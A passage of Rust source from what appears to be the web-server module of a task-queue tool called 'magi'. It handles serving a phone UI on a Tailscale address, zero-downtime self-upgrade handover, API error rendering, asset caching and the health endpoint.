874    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
875
876    let mut cmd = std::process::Command::new(&exe);
877    cmd.args(&args)
878        .stdin(std::process::Stdio::null())
879        .stdout(std::process::Stdio::null())
880        .stderr(std::process::Stdio::null());
881    #[cfg(windows)]
882    {
883        use std::os::windows::process::CommandExt as _;
884        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
885        // and Ctrl-C in the old terminal must not reach the successor.
886        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
887    }
888    cmd.spawn().context("start the successor")?;
889    Ok(())
890}
891
892/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
893///
894/// The server itself owns no state, so nothing here is graceful for the HTTP
895/// side's sake: the connections go with the dropped listener, which costs a
896/// phone one change-stream reconnection it was going to make anyway.
897///
898/// The signal branch is not optional now that the loop lives in this process.
899/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
900/// handler is what stops the signal terminating the process - so without a
901/// branch of our own, the first Ctrl-C after the operator started the loop
902/// would stop the loop and leave `magi web` listening forever, unkillable
903/// from the terminal it was started in.
904///
905/// What it waits for is the loop, not the sockets. A run in flight is
906/// finished first, for the reason [`daemon::serve`] gives: killing the graph
907/// mid-node leaves worktrees, branches and agent sessions behind and throws
908/// away every agent call already paid for.
909///
910/// The server therefore runs on a task of its own rather than inside the
911/// `select!`: an arm that resolves *drops* the futures the other arms were
912/// polling, so serving the address from inside one would take the deck down
913/// at the instant the handover began and keep it down for the whole park -
914/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
915/// owns the order.
916pub async fn serve(opts: Opts) -> Result<()> {
917    let (addr, warning) = resolve_bind(&opts.bind);
918    if let Some(warning) = warning {
919        tracing::warn!("{warning}");
920    }
921
922    // Process-global, and therefore set exactly once, here: the report route
923    // must never emit escape sequences into a browser, and toggling the flag
924    // per request would race with a concurrent request rendering its own
925    // report. Startup is the only moment at which no request can observe the
926    // change. Nothing in the server turns colour back on.
927    report::set_color(false);
928
929    let ui = Ui::open(opts.repo).with_merge(opts.merge);
930    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
931    // home to bracket the parking and restarting stages, and `run_update_recheck`
932    // needs both it and the repo, and by then there is no `ui` left to read
933    // them from.
934    let home = ui.home.clone();
935    let repo = ui.repo.clone();
936    // Settles a progress record a predecessor left non-terminal - either this
937    // *is* the successor `spawn_successor` started, or the previous process
938    // died mid-handover. Before the router starts answering, so the very
939    // first `/api/health` a phone gets from this process already reflects it.
940    updater::reconcile_after_restart(&home);
941    // `magi web` can stay up for days, and the one-time check `main.rs`'s
942    // `spawn_update_check` does at startup only ever runs once: after that,
943    // `/api/health`'s `update` field - and the phone's "Update & restart"
944    // button, which reads the very same cache - would stay frozen on
945    // whatever that single check found, no matter how many releases ship
946    // afterwards. This keeps it current instead. Detached: it must keep
947    // going for as long as this process serves, `serve` has nothing to await
948    // it for, and it exits on its own the moment the process does.
949    tokio::spawn(run_update_recheck(repo, home.clone()));
950    let looping = ui.looping();
951    let socket = SocketAddr::new(addr, opts.port);
952    let listener = bind_waiting(socket).await?;
953    let url = format!("http://{addr}:{}", opts.port);
954    tracing::info!(
955        "magi web UI on {url} - there is no authentication, so anyone who can \
956         reach this address can file and hold tasks: the tailnet is the \
957         security boundary"
958    );
959    tracing::info!(
960        "the queue loop is not running yet - start it from the UI, which is \
961         the whole reason this process can: nothing in the queue moves until \
962         something is running the loop"
963    );
964    if opts.open {
965        // The URL alone on stdout, for a caller that wants to open it. magi
966        // does not spawn a browser: on the machine this usually runs on there
967        // is no display, and a failed launch would be the only output.
968        println!("{url}");
969    }
970
971    // On its own task, so nothing this function awaits can stop the address
972    // being answered. `hand_over` is where it is given up.
973    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
974    let interrupted = async {
975        if tokio::signal::ctrl_c().await.is_err() {
976            // No handler on this platform, so there is no signal to act on.
977            // Never resolving is the safe answer: a failed registration must
978            // not masquerade as the operator asking for a shutdown and take
979            // the UI down on startup.
980            std::future::pending::<()>().await;
981        }
982    };
983    let handover = HANDOVER.notified();
984    tokio::select! {
985        joined = &mut served => match joined {
986            Ok(outcome) => outcome.context("serve the web UI"),
987            Err(e) => Err(e).context("the task serving the web UI ended"),
988        },
989        () = interrupted => {
990            tracing::info!("shutting down the web UI");
991            finish_loop(&looping).await;
992            Ok(())
993        }
994        () = handover => {
995            tracing::info!("upgraded - handing this address to the successor");
996            hand_over(&home, &looping, served, spawn_successor).await
997        }
998    }
999}
1000
1001/// Park the loop, then release the address, then start the successor.
1002///
1003/// The order is the whole function, and each step is answerable to a failure
1004/// this arrangement has already had:
1005///
1006/// 1. **Park.** The loop was asked to stop by the request that replaced the
1007///    binary, and this waits for it, because killing the graph mid-node
1008///    leaves worktrees, branches and agent sessions behind and throws away
1009///    every agent call already paid for. It takes as long as the node in
1010///    flight - up to `timeout_implement`, an hour by default - and the deck
1011///    goes on answering for all of it, which is the reason `served` is a task
1012///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1013///    first upgrade from a phone that caught a run mid-implement dropped the
1014///    listener the moment it was asked to, and the operator got
1015///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1016///    waiting on and nothing but a process list to say the run was alive.
1017/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1018///    the join resolves only once the task's future has been dropped, so the
1019///    address is unbound before the next line rather than merely on its way
1020///    there.
1021/// 3. **Start the successor**, which binds the address this process has just
1022///    let go of - see [`spawn_successor`] for what the other order cost.
1023///
1024/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1025/// reporting, not part of the design: it exists so `/api/health` can say
1026/// "parking, waiting on run X" instead of leaving the phone to guess why the
1027/// deck went quiet, and dropping it would not change the order above.
1028async fn hand_over(
1029    home: &FsPath,
1030    looping: &Mutex<LoopState>,
1031    served: tokio::task::JoinHandle<std::io::Result<()>>,
1032    successor: impl FnOnce() -> Result<()>,
1033) -> Result<()> {
1034    if let Some(mut progress) = updater::read_progress(home) {
1035        progress.advance(updater::Stage::Parking);
1036        let _ = updater::write_progress(home, &progress);
1037    }
1038    finish_loop(looping).await;
1039    served.abort();
1040    let _ = served.await;
1041    if let Some(mut progress) = updater::read_progress(home) {
1042        progress.advance(updater::Stage::Restarting);
1043        let _ = updater::write_progress(home, &progress);
1044    }
1045    successor()
1046}
1047
1048/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1049///
1050/// The wait is the whole function. Returning from `serve` while a graph is
1051/// mid-node ends the process with worktrees, branches and agent sessions left
1052/// behind and every agent call in that run paid for and thrown away, which is
1053/// exactly what the daemon's own shutdown refuses to do.
1054async fn finish_loop(state: &Mutex<LoopState>) {
1055    let live = lock_or_recover(state).live.take();
1056    let Some(live) = live else { return };
1057    live.stop.stop();
1058    lock_or_recover(state).rev += 1;
1059    tracing::info!("waiting for the loop to finish the run in flight");
1060    // The task records its own outcome and logs it, so there is nothing to do
1061    // with a join error here but stop waiting.
1062    let _ = live.handle.await;
1063}
1064
1065/// Resolve `--bind` to an address, plus a warning when the answer is not what
1066/// the operator asked for.
1067///
1068/// Split out from [`serve`] because the interesting half - deciding whether
1069/// Tailscale gave us something usable - is testable without opening a socket.
1070pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1071    match bind {
1072        Bind::Addr(addr) => (*addr, None),
1073        Bind::Auto => match tailscale_ip() {
1074            Ok(ip) => (IpAddr::V4(ip), None),
1075            Err(why) => (
1076                IpAddr::V4(Ipv4Addr::LOCALHOST),
1077                Some(format!(
1078                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1079                     local-only and a phone cannot reach it; start Tailscale \
1080                     or pass --bind <addr>"
1081                )),
1082            ),
1083        },
1084    }
1085}
1086
1087/// This machine's Tailscale IPv4, or why there is not one.
1088///
1089/// `tailscale ip -4` is a local call against the running daemon and returns in
1090/// milliseconds, so it is fine to make it synchronously before the server
1091/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1092/// CGNAT block Tailscale assigns from, and anything else on that output would
1093/// be a different tool answering.
1094fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1095    let out = std::process::Command::new("tailscale")
1096        .args(["ip", "-4"])
1097        .quiet()
1098        .output()
1099        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1100    if !out.status.success() {
1101        let why = String::from_utf8_lossy(&out.stderr);
1102        let why = why.trim();
1103        return Err(format!(
1104            "`tailscale ip -4` failed ({}){}",
1105            out.status,
1106            if why.is_empty() {
1107                String::new()
1108            } else {
1109                format!(": {why}")
1110            }
1111        ));
1112    }
1113    String::from_utf8_lossy(&out.stdout)
1114        .lines()
1115        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1116        .find(is_tailnet)
1117        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1118}
1119
1120/// Is this address in the CGNAT block Tailscale hands out from?
1121fn is_tailnet(ip: &Ipv4Addr) -> bool {
1122    let o = ip.octets();
1123    o[0] == 100 && (64..=127).contains(&o[1])
1124}
1125
1126/// What every handler returns. Spelled out because `Result` in this crate is
1127/// `anyhow::Result`, and a handler's error is a status code as much as a
1128/// message.
1129type ApiResult<T> = std::result::Result<T, ApiError>;
1130
1131/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1132#[derive(Debug)]
1133struct ApiError {
1134    status: StatusCode,
1135    message: String,
1136    /// Every separate thing wrong with what the client sent, when there is
1137    /// more than one and the client is expected to fix them all.
1138    ///
1139    /// Only `POST /api/chats/{id}/file` populates it, and it is skipped when
1140    /// empty so every other error body stays exactly the shape the front end
1141    /// already parses. The reason it exists at all is that the operator
1142    /// rejecting a draft is on a phone: a task file with no acceptance
1143    /// criteria and no title is one edit, and reporting it as two round trips
1144    /// means asking an agent to rewrite the draft twice.
1145    problems: Vec<String>,
1146}
1147
1148impl ApiError {
1149    /// The client asked for something malformed.
1150    fn bad_request(message: impl Into<String>) -> Self {
1151        Self {
1152            status: StatusCode::BAD_REQUEST,
1153            message: message.into(),
1154            problems: Vec::new(),
1155        }
1156    }
1157
1158    /// The client asked for something malformed in several ways at once.
1159    fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1160        Self {
1161            problems,
1162            ..Self::bad_request(message)
1163        }
1164    }
1165
1166    /// No such run or task.
1167    fn not_found(message: impl Into<String>) -> Self {
1168        Self {
1169            status: StatusCode::NOT_FOUND,
1170            message: message.into(),
1171            problems: Vec::new(),
1172        }
1173    }
1174
1175    /// Someone else owns the thing the client wants to change.
1176    /// Re-badge an error whose default mapping is wrong for this route.
1177    fn with_status(mut self, status: StatusCode) -> Self {
1178        self.status = status;
1179        self
1180    }
1181
1182    /// A rules violation from a domain type, reported as the caller's fault.
1183    /// `Question::answer` rejects an unoffered choice, and that is a bad
1184    /// request, not a server error.
1185    fn bad_request_from(e: anyhow::Error) -> Self {
1186        Self::bad_request(format!("{e:#}"))
1187    }
1188
1189    fn conflict(message: impl Into<String>) -> Self {
1190        Self {
1191            status: StatusCode::CONFLICT,
1192            message: message.into(),
1193            problems: Vec::new(),
1194        }
1195    }
1196
1197    /// Our fault, or the disk's.
1198    fn internal(message: impl Into<String>) -> Self {
1199        Self {
1200            status: StatusCode::INTERNAL_SERVER_ERROR,
1201            message: message.into(),
1202            problems: Vec::new(),
1203        }
1204    }
1205}
1206
1207impl From<anyhow::Error> for ApiError {
1208    /// Errors from `queue` and `run` carry their context chain, and the whole
1209    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1210    /// value at line 3" is a message an operator can act on, and there is no
1211    /// secret in a path on a single-user tailnet.
1212    fn from(e: anyhow::Error) -> Self {
1213        Self::internal(format!("{e:#}"))
1214    }
1215}
1216
1217impl IntoResponse for ApiError {
1218    fn into_response(self) -> Response {
1219        let mut body = serde_json::json!({ "error": self.message });
1220        if !self.problems.is_empty() {
1221            // `json!` above built an object, so this cannot be `None`.
1222            if let Some(map) = body.as_object_mut() {
1223                map.insert("problems".to_owned(), serde_json::json!(self.problems));
1224            }
1225        }
1226        (self.status, Json(body)).into_response()
1227    }
1228}
1229
1230/// Run a handler's filesystem work off the executor.
1231///
1232/// Every route that touches the disk goes through here rather than each one
1233/// arguing about whether its own read is small enough. Uniform because the
1234/// expensive case is not rare: `run.json` for a finished competition holds
1235/// every judgement, deliberation turn and review round, so listing a few
1236/// hundred runs is megabytes of parsing, and the executor threads doing it are
1237/// the same ones serving the change stream of every other connected phone.
1238async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1239where
1240    T: Send + 'static,
1241{
1242    match tokio::task::spawn_blocking(job).await {
1243        Ok(result) => result,
1244        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1245    }
1246}
1247
1248/// Cache policy for the three compiled-in front-end files.
1249///
1250/// The whole interface is `include_str!`ed into the binary, so its content
1251/// changes only when the binary does - and a phone that keeps a copy is
1252/// welcome to, right up until the deck is replaced. Without a single cache
1253/// header, browsers were free to invent their own policy, and one did:
1254/// yukimemi's phone went on showing "Candidates must be folded before
1255/// deleting. Run `magi fold` first." - a sentence deleted two releases
1256/// earlier - from a run detail served by a deck that no longer contained it.
1257/// The delete button he was told about was right there, and unreachable.
1258///
1259/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1260/// every time, the answer is a 304 costing one small round trip while the
1261/// deck is unchanged, and the moment it is replaced the tag differs and the
1262/// new interface arrives. Correctness over bytes - this is one file of a few
1263/// tens of kilobytes on a tailnet, and being a version behind is not a
1264/// cosmetic problem when the difference is whether a button exists.
1265const ASSET_CACHE: &str = "no-cache, must-revalidate";
1266
1267/// `ETag` for the compiled-in assets, distinct per build.
1268///
1269/// The version alone would leave a locally built deck - `cargo install
1270/// --path .` twice at the same version, which is the normal way to iterate -
1271/// serving a stale tag for changed bytes. The build timestamp is what makes
1272/// two builds of `0.3.0` differ.
1273fn asset_etag() -> &'static str {
1274    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1275        format!(
1276            "\"{}-{}\"",
1277            env!("CARGO_PKG_VERSION"),
1278            // Length is a cheap, deterministic stand-in for a hash: the
1279            // three files are compiled in together, so any edit to any of
1280            // them almost certainly changes the total, and a rebuild is what
1281            // this needs to track rather than every possible byte pattern.
1282            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1283        )
1284    });
1285    &TAG
1286}
1287
1288/// Headers for a compiled-in asset of `mime`.
1289fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1290    [
1291        (header::CONTENT_TYPE, mime),
1292        (header::CACHE_CONTROL, ASSET_CACHE),
1293        (header::ETAG, asset_etag()),
1294    ]
1295}
1296
1297/// Serve a compiled-in asset, answering `304` when the client already has it.
1298///
1299/// axum does not compare `If-None-Match` for us, and a header the server sets
1300/// but never honours is worse than none: the phone revalidates on every load
1301/// and is handed the whole file back each time. Doing the comparison is what
1302/// makes `must-revalidate` cost one small round trip rather than the
1303/// interface.
1304fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1305    let tag = asset_etag();
1306    let known = headers
1307        .get(header::IF_NONE_MATCH)
1308        .and_then(|v| v.to_str().ok())
1309        // A revalidating client may send several, and a proxy may weaken the
1310        // tag to `W/"..."`; matching on containment covers both without
1311        // parsing the grammar.
1312        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1313    if known {
1314        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1315    }
1316    (asset_headers(mime), body).into_response()
1317}
1318
1319async fn index(headers: header::HeaderMap) -> Response {
1320    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1321}
1322
1323async fn app_css(headers: header::HeaderMap) -> Response {
1324    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1325}
1326
1327async fn app_js(headers: header::HeaderMap) -> Response {
1328    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1329}
1330
1331/// What `/api/health` answers.
1332#[derive(Debug, Serialize)]
1333struct HealthView {
1334    version: &'static str,
1335    home: String,
1336    queue_rev: u64,
1337    runs_rev: u64,
1338    /// The same two revisions [`events`] streams for the question and chat
1339    /// stores.
1340    ///
1341    /// Here because this route is what the front end falls back to when the
1342    /// change stream is not up - it re-polls health on a timer and on wake, and
1343    /// takes the revisions from the answer. Without these two the fallback
1344    /// compares `undefined` against `undefined` for both stores, decides
1345    /// nothing moved, and a phone with a dead stream never learns that a
1346    /// question was asked or that an interview took a turn. `queue_rev` and
1347    /// `runs_rev` above have always been here for exactly this reason; the rule
1348    /// is that every revision the stream carries, this route carries too.
1349    questions_rev: u64,
1350    /// See [`HealthView::questions_rev`].
1351    chats_rev: u64,
1352    /// See [`HealthView::questions_rev`]. The standing chat's own store,
1353    /// separate from `chats_rev`: a `/api/talks` reply moving must not be
1354    /// mistaken for a `/api/chats` one, or a phone open on Planning would sit
1355    /// still while a talk it has open gets a reply.
1356    talks_rev: u64,
1357    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1358    /// is not on disk anywhere, so a phone with no change stream has no other
1359    /// way to notice that the loop it is waiting on was started from another
1360    /// device.
1361    loop_rev: u64,
1362    /// Runs on disk whose state this build cannot parse - almost always a
1363    /// schema bump, occasionally a run killed mid-write.
1364    ///
1365    /// Reported because the list silently skips them, and "no competitions
1366    /// yet" is a lie when six of them are sitting in the runs directory. The
1367    /// terminal deck learned the same lesson: a run that fails to parse must
1368    /// not disappear from the count.
1369    runs_unreadable: usize,
1370    /// The disk, and what the runs and their worktrees occupy on it.
1371    ///
1372    /// This is the incident the janitor exists for: magi alone put 30 GB into
1373    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1374    /// is exactly where the operator learns "the disk is the constraint" -
1375    /// the diagnosis that a run is being held for want of space has to be
1376    /// checkable on the same screen.
1377    disk: DiskView,
1378    /// Questions nobody has answered yet, including ones an owner talked
1379    /// back on and is now waiting for the agent's reply to. A round trip
1380    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1381    /// while the ball is in the agent's court - see
1382    /// [`crate::ask::Questions::count_open`].
1383    questions_open: usize,
1384    /// Of those, how many actually need the owner right now: open, and not
1385    /// [`crate::ask::Question::waiting_on_agent`].
1386    ///
1387    /// The one number that means "nothing will happen until a human acts" -
1388    /// a parked run consumes nothing and progresses never - and the count the
1389    /// ask bar, the nav badge and the document title fall back to before
1390    /// `/api/questions` has answered, so those notification channels clear
1391    /// the instant the owner asks back and reappear the instant the agent
1392    /// replies, instead of sitting lit for however long the agent thinks.
1393    questions_needs_owner: usize,
1394    /// Interviews the operator started in the browser and has not filed.
1395    ///
1396    /// Unlike `questions_open` nothing is blocked on these - a chat is the
1397    /// operator's own half-finished thought. It is here because an interview
1398    /// that never became a task is invisible everywhere else: it is not in the
1399    /// queue and it is not in the run history, so without a count the phone
1400    /// has no way to say "you left one open".
1401    chats_open: usize,
1402    daemon: DaemonView,
1403    /// The loop in this process, exactly what `/api/loop` answers with.
1404    ///
1405    /// Here so a phone that has just woken needs one request to know whether
1406    /// anything is going to happen at all: `daemon` says a loop is alive
1407    /// somewhere, and this says whether it is one this UI can stop.
1408    #[serde(rename = "loop")]
1409    looping: LoopView,
1410    /// Whether a release newer than this build is known, and which.
1411    ///
1412    /// From [`updater::Checker::cached_update`] - the same throttled state the
1413    /// CLI's `notify` mode banners from - never a live check: this route is
1414    /// polled every few seconds, and a live check on each poll would spend
1415    /// GitHub's rate limit before the operator finished reading the strip.
1416    update: UpdateView,
1417    /// The self-upgrade this deck last set in motion, or `null` before the
1418    /// first one. Read off disk, so the successor can report what its
1419    /// predecessor started.
1420    upgrade: Option<UpgradeProgressView>,
1421}
1422
1423/// What `/api/health` knows about a release newer than this build.
1424///
1425/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1426/// is already the newest" from "never checked" - both are `None` - and the
1427/// phone needs to tell those apart to decide whether the deck can be trusted
1428/// to have an opinion at all.
1429#[derive(Debug, Serialize)]
1430struct UpdateView {
1431    /// A newer release is known to exist.
1432    available: bool,
1433    /// Its tag, when `available`.
1434    to: Option<String>,
1435}
1436
1437/// [`updater::Progress`] as `/api/health` reports it.
1438#[derive(Debug, Serialize)]
1439struct UpgradeProgressView {
1440    stage: updater::Stage,
1441    from: String,
1442    to: Option<String>,
1443    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1444    /// the step it is finishing before the address is handed over.
1445    waiting_on: Option<String>,
1446    started_at: Timestamp,
1447    updated_at: Timestamp,
1448    detail: Option<String>,
1449}
1450
1451/// Whether [`run_update_recheck`] may act at all this tick.
1452///
1453/// The same two conditions [`updater::Checker::new`] and
1454/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1455/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1456/// GitHub from this process" - on a button press or on a timer alike.
1457fn should_spawn_recheck(cfg: &Update) -> bool {
1458    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1459}
1460
1461/// Whether this tick should actually reach the network, once checking itself
1462/// is allowed.
1463///
1464/// An upgrade already in flight must not be raced by a check that discovers
1465/// a *newer* release while one is still installing - a phone watching
1466/// `/api/health` would see the answer change out from under the upgrade it
1467/// already asked for. Past that, [`updater::Checker::should_check`] is the
1468/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1469/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1470/// polling period, is what keeps this task's network use to at most once per
1471/// `[update] interval` regardless of how often it wakes up.
1472fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1473    if progress.is_some_and(|p| !p.stage.terminal()) {
1474        return false;
1475    }
1476    checker.should_check()
1477}
1478
1479/// How long [`run_update_recheck`] sleeps before its next wake-up.
1480///
1481/// A fraction of the configured `[update] interval` rather than a fixed
1482/// number: a fixed sleep longer than a short custom interval would leave the
1483/// deck waiting on its own wake-up rather than on `should_check`, so an
1484/// operator who set `interval = "1m"` to make the UI catch up quickly would
1485/// not see that take effect until the next restart - exactly the bug this
1486/// task exists to fix, just moved one level down. Scaling with the interval
1487/// keeps the wake-up prompt relative to what was actually configured, while
1488/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1489/// still what caps the network calls themselves at one per interval,
1490/// regardless of how often this fires.
1491fn recheck_poll_period(cfg: &Update) -> Duration {
1492    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1493}
1494
1495/// Keep `/api/health`'s `update` field current for as long as `magi web`
1496/// stays up.
1497///
1498/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1499/// which is enough for every other command: they exit in seconds. `magi web`
1500/// can run for days, so a single startup check leaves the cache - and the
1501/// phone's "Update & restart" button, which reads it via
1502/// [`cached_update_view`] - frozen on whatever that one look found, however
1503/// many releases ship afterwards. This is what notices the rest of them,
1504/// re-reading the config each tick so a `magi.toml` edit while the server is
1505/// up takes effect without a restart, the same way every other route here
1506/// already does - both for whether checking is on at all and for how long
1507/// the next sleep should be.
1508///
1509/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1510/// "install"`: swapping the running binary out from under a task or a run
1511/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1512/// not as a side effect of a timer nobody asked to fire. This only ever
1513/// calls [`updater::Checker::newer_release`], which refreshes
1514/// `last_update_check.json` and nothing else - so under `mode = "install"`
1515/// this behaves like `notify` for as long as the deck stays up, and an
1516/// actual self-install still happens exactly where it always has: once, at
1517/// the next process start.
1518async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1519    loop {
1520        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1521        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1522        if !should_spawn_recheck(&cfg.update) {
1523            continue;
1524        }
1525        let Some(checker) = updater::Checker::new(&cfg.update) else {
1526            continue;
1527        };
1528        let progress = updater::read_progress(&home);
1529        if !update_recheck_due(&checker, progress.as_ref()) {
1530            continue;
1531        }
1532        if let Err(e) = checker.newer_release().await {
1533            tracing::warn!("background update recheck failed: {e:#}");
1534        }
1535    }
1536}
1537
1538/// [`UpdateView`] from the same throttled, disk-only state
1539/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1540/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1541/// no cached state at all, which is correct: an operator who turned checking
1542/// off gets no opinion, not a stale one.
1543fn cached_update_view(repo: &FsPath) -> UpdateView {
1544    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1545    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1546    match latest {
1547        Some(latest) => UpdateView {
1548            available: true,
1549            to: Some(latest.tag_name),
1550        },
1551        None => UpdateView {
1552            available: false,
1553            to: None,
1554        },
1555    }
1556}
1557
1558/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1559/// from the parked run's own state when the stage is
1560/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1561/// already on disk in `run.json`, so this reads them fresh rather than
1562/// trusting whatever was true the moment the park was requested.
1563fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1564    let waiting_on = (progress.stage == updater::Stage::Parking)
1565        .then_some(progress.parked_run.as_deref())
1566        .flatten()
1567        .and_then(|id| read_run(&ui.runs, id).ok())
1568        .map(|run| {
1569            format!(
1570                "run {} is finishing {} before the address is handed over",
1571                run.short(),
1572                run.status.as_str()
1573            )
1574        });
1575    UpgradeProgressView {
1576        stage: progress.stage,
1577        from: progress.from,
1578        to: progress.to,
1579        waiting_on,
1580        started_at: progress.started_at,
1581        updated_at: progress.updated_at,
1582        detail: progress.detail,
1583    }
1584}
1585
1586/// The disk figures `/api/health` carries. Every number is produced by
1587/// [`crate::disk`], the same code that decides a run may not start, so the
1588/// health screen and the gate cannot disagree about what the machine looks
1589/// like.
1590#[derive(Debug, Serialize)]
1591struct DiskView {
1592    /// Free bytes on the volume holding the runs, when measurable.
1593    #[serde(skip_serializing_if = "Option::is_none")]
1594    free_bytes: Option<u64>,
1595    /// Everything the runs directory occupies, unreadable runs included.
1596    runs_bytes: u64,
1597    /// Everything the runs' worktrees occupy.
1598    worktrees_bytes: u64,
1599    /// The shared build cache's size, when the config names one.
1600    #[serde(skip_serializing_if = "Option::is_none")]
1601    cache_bytes: Option<u64>,
1602}
1603
1604impl DiskView {
1605    /// Measure the three directories and re-read the config's cache.
1606    fn of(ui: &Ui) -> Self {
1607        let cache_bytes = Config::discover(&ui.repo, None)
1608            .ok()
1609            .and_then(|(cfg, _)| cfg.cache_dir())
1610            .map(|dir| crate::disk::dir_size(&dir));
1611        Self {
1612            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1613            runs_bytes: crate::disk::dir_size(&ui.runs),
1614            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1615            cache_bytes,
1616        }
1617    }
1618}
1619
1620/// The daemon's state as the UI presents it.
1621#[derive(Debug, Serialize)]
1622struct DaemonView {
1623    running: bool,
1624    idle: Option<bool>,
1625    pid: Option<u32>,
1626    /// Every task and run currently in flight. Empty when idle; more than
1627    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1628    /// run going at once.
1629    current: Vec<daemon::Current>,
1630    completed: Option<u64>,
1631    stale_for_secs: Option<i64>,
1632}
1633
1634impl DaemonView {
1635    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1636    /// not this UI's — a crashed daemon must not look alive here while
1637    /// `doctor` calls it dead.
1638    fn of(status: Option<daemon::Reading>) -> Self {
1639        let Some(status) = status else {
1640            return Self {
1641                running: false,
1642                idle: None,
1643                pid: None,
1644                current: Vec::new(),
1645                completed: None,
1646                stale_for_secs: None,
1647            };
1648        };
1649        let now = Timestamp::now();
1650        let age = status.age_secs(now);
1651        Self {
1652            running: status.running(now),
1653            idle: Some(status.idle),
1654            pid: status.pid,
1655            current: status.current,
1656            completed: Some(status.completed),
1657            stale_for_secs: age,
1658        }
1659    }
1660}
1661
1662async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1663    blocking(move || {
1664        // One read of the status file for the two fields that describe it, so
1665        // `daemon` and `loop` in the same answer cannot disagree about who is
1666        // running the loop.
1667        let reading = daemon::read_status(&ui.home);
1668        // Read on its own line, not inside the literal below: the loop's lock
1669        // is not reentrant, and a guard taken as a temporary there would still
1670        // be held when `loop_view` took it again.
1671        let loop_rev = ui.lock_loop().rev;
1672        let update = cached_update_view(&ui.repo);
1673        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1674        Ok(Json(HealthView {
1675            version: env!("CARGO_PKG_VERSION"),
1676            home: ui.home.display().to_string(),
1677            queue_rev: ui.queue.revision(),
1678            runs_rev: runs_revision(&ui.runs),
1679            questions_rev: ui.questions.revision(),
1680            chats_rev: ui.chats.revision(),
1681            talks_rev: ui.talks.revision(),
1682            loop_rev,
1683            runs_unreadable: runs_unreadable(&ui.runs),
1684            questions_open: ui.questions.count_open(),
1685            questions_needs_owner: ui.questions.count_needs_owner(),
1686            chats_open: ui.chats.count_open(),
1687            daemon: DaemonView::of(reading.clone()),
1688            looping: ui.loop_view(reading),
1689            disk: DiskView::of(&ui),
1690            update,
1691            upgrade,
1692        }))
1693    })
1694    .await
1695}
1696
1697/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1698#[derive(Debug, Serialize)]
1699struct LoopView {
1700    /// A loop is running in *this* process.
1701    running: bool,
1702    /// It has been asked to stop and is still finishing a run.
1703    ///
1704    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
